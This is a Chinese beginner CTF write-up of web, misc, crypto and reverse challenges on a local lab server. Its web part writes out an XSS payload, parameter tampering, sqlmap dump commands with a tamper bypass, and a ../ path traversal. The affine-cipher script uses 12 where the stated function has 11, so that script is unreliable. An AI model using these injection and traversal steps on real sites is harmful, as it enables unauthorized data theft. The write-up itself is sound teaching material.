这些天给学弟准备的一个小阶段练习,可惜没啥人做ummmm

@Time : 2018/10/12

Web

CTF入门测试Wp《一》

查看源码,提示 bak ,那就是备份文件泄露咯,访问index.php.bak

CTF入门测试Wp《一》

得到 flag

CTF入门测试Wp《一》

CTF入门测试Wp《一》

无任何过滤的xss,能弹窗就能得到flag,直接输入  <script>alert(1)</script>

CTF入门测试Wp《一》

CTF入门测试Wp《一》

CTF入门测试Wp《一》

这里是首先是拥有 $1100 ,但是flag卖 $10000,是买不到的,但是这里还有一个lilinpeng,只卖 $10,那么,突破点就是这里了

这里输入负数是没有用的,于是,抓包看看,发现他会post  money

CTF入门测试Wp《一》

于是改参数了,money大于10000就好了

CTF入门测试Wp《一》

CTF入门测试Wp《一》

简单的联合查询注入题,介绍两种做法

第一是sqlmap

sqlmap -u http://192.168.10.142/guetctf/web1/ --data="id=1" --batch

CTF入门测试Wp《一》

sqlmap -u http://192.168.10.142/guetctf/web1/ --data="id=1" --dbs --batch

CTF入门测试Wp《一》

sqlmap -u http://192.168.10.142/guetctf/web1/ --data="id=1" -D guetctf --tables --batch

CTF入门测试Wp《一》

sqlmap -u http://192.168.10.142/guetctf/web1/ --data="id=1" -D guetctf -T sql1 --columns --batch

CTF入门测试Wp《一》

sqlmap -u http://192.168.10.142/guetctf/web1/ --data="id=1" -D guetctf -T sql1 -C "flag" --dump --batch

CTF入门测试Wp《一》

第二种就是手注了

手注就自己去注吧,联合查询注入,网上很多教程,

CTF入门测试Wp《一》

这个是盲注,一样的可以用sqlmap,而且和sql1的方法一模一样,就不多加赘述了,给你~

sqlmap -u http://192.168.10.142/guetctf/web3/ --data="username=admin" -D guetctf -T sql3 -C "password" --dump --batch

CTF入门测试Wp《一》

这个也可以自己写脚本,想要的话,可以私聊

CTF入门测试Wp《一》

这题在sql1的基础上过滤了空格和or,空格可以用/**/或者()绕过,or可以大写绕过,其他的就比较简单了

sqlmap加个tamper

sqlmap -u http://192.168.10.142/guetctf/web2/ --data="id=1" -D guetctf -T sql2 -C "flag" --dump --tamper="space2mysqldash.py" --batch

CTF入门测试Wp《一》

CTF入门测试Wp《一》

incllude,包含

看到url之后就更加明显了,有一个file参数,改一下参数的值就行

在源代码里面有hint

CTF入门测试Wp《一》

但是在访问flag.txt的时候,却发现,没有

http://192.168.10.142/guetctf/web6/web6/index.php?file=flag.txt

CTF入门测试Wp《一》

访问上一层

http://192.168.10.142/guetctf/web6/web6/index.php?file=../flag.txt

CTF入门测试Wp《一》

Misc

CTF入门测试Wp《一》

fcgl0uameget{_cwtteofl_}   发现是这个,猜测是栅栏密码解密,CTFcrack解之

CTF入门测试Wp《一》

CTF入门测试Wp《一》

一个图片,却无法正常打开,而题目提示 头 ,那么很可能是缺少一个文件头

用 UltraEdit ,果然是如此,

CTF入门测试Wp《一》

凭借右方的字符 JFIF ,判断这个很可能是一个jpg图片,而左方没有jpg文件的标志性文件头 FF D8

在文件最前方插入 FF D8

CTF入门测试Wp《一》

CTF入门测试Wp《一》

CTF入门测试Wp《一》

打开之后发现出现了一串的,

CTF入门测试Wp《一》

估摸着应该是要转换成图片,写个脚本转一下

from PIL import Image
img = Image.new("RGB",(260,260))
with open("flag.txt","r") as f:
    text = f.read().split('\n')
t = []
for i in text:
    x = (i[1:-1]).split(', ')
    t.append(tuple((int(x[0]),int(x[1]),int(x[2]))))
a = 0
for i in range(260):
    for j in range(260):
        img.putpixel((i,j),t[a])
        a += 1
img.save("1.png")

得到了一个二维码,扫描得flag

CTF入门测试Wp《一》

扫二维码可以用qr research

CTF入门测试Wp《一》

CTF入门测试Wp《一》

wireshark打开,输入http,发现几个post,打开看看

CTF入门测试Wp《一》

CTF入门测试Wp《一》

追踪tcp流,发现flag

CTF入门测试Wp《一》

被url转码过,解码就得 flag{wireshark_666}

CTF入门测试Wp《一》

文件导出对象

CTF入门测试Wp《一》

可以看到flag

CTF入门测试Wp《一》

flag{Oh_no_you_find_me}

Crypto

CTF入门测试Wp《一》

## 加密函数为  y = (5x + 11)(mod 26)
## 'a' 对应 0 'z' 对应 25

仿射密码,可以说是一对一的关系,根据给出的加密函数,可以得到解密函数,这里我提供几个脚本

## 加密函数为  y = (5x + 11)(mod 26)
## 解密函数为  x = 21(y - 11)(mod 26)
## 'a' 对应 0 'z' 对应 25

import sys
import string
if sys.argv[1] == 'd':
    str = sys.argv[2]
    decode_str = ''
    for i in str:
        a = 21 * ((ord(i) - 97) - 12) % 26
        decode_str += chr(a + 97)
    print(decode_str)
elif sys.argv[1] == 'e':
    str = sys.argv[2]
    encode_str = ''
    for i in str:
        a = (5 * (ord(i) - 97) + 12) % 26
        encode_str += chr(a + 97)
    print(encode_str)
else:
    print('please input your choose')

##附上乘法逆元代码

# j = 5  ## j 可以为任何值,但是需要与26互素,不然不存在对于26的乘法逆元
# for i in range(26):
#     if ( i * j ) % 26 == 1:
#         print(i)

CTF入门测试Wp《一》

那么flag就是 flag{fangshecryptoniubi}

CTF入门测试Wp《一》

发现一串数字

CTF入门测试Wp《一》

可能就是单个的解rsa,然后拼凑成字符串,之后再base64解码就得

#! /usr/bin/env python
# -*- coding=utf-8 -*-

import math
import base64

def pow_LL(x, n, mod):
    ret = 1
    while n > 0:
        if (n & 1) > 0:
            ret = (ret * x) % mod
        x = (x * x) % mod
        n >>= 1
    return ret

def rsa():
    d = 97
    n = 851
    arrs = [[83, 695, 536, 536],
        [462, 839, 536, 536],
        [723, 662, 536, 536],
        [83, 748, 536, 536],
        [767, 748, 536, 536],
        [132, 695, 536, 536],
        [132, 748, 536, 536],
        [723, 662, 536, 536],
        [310, 748, 536, 536],
        [132, 695, 536, 536],
        [132, 748, 536, 536],
        [723, 662, 536, 536],
        [310, 748, 536, 536],
        [132, 695, 536, 536],
        [132, 748, 536, 536],
        [723, 662, 536, 536],
        [310, 748, 536, 536],
        [132, 695, 536, 536],
        [132, 748, 536, 536],
        [723, 662, 536, 536],
        [617, 662, 536, 536]]
    for arr in arrs:
        new_arr = []
        for i in arr:
            new_arr.append(chr(pow_LL(i, d, n)))
        print (base64.b64decode("".join(new_arr)))
if __name__ == '__main__':
    rsa()

CTF入门测试Wp《一》

所以 :flag{rsa_rsa_rsa_rsa}

CTF入门测试Wp《一》

CTF入门测试Wp《一》

这个题看上去是base64,但是解出来的东西却是让人摸不着头脑不过,实际上这是一个base64隐写

# -*- coding: cp936 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('1.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
        offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum = stegb64.count('=')  # no equalnum no offset
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])  

CTF入门测试Wp《一》

最后加上一个}就好 , 所以是 flag{how_can_i_save_you}

Reverse

CTF入门测试Wp《一》

正如他所说的,记事本打开就可以找到flag了,但是,我提供另外的一种方法,用strings

CTF入门测试Wp《一》

CTF入门测试Wp《一》

使用ida打开,很容易就能看到这个

CTF入门测试Wp《一》

然后再进去一看,是个很像flag的东西,只是倒过来了

CTF入门测试Wp《一》

python搞一下

CTF入门测试Wp《一》

 

相关文章: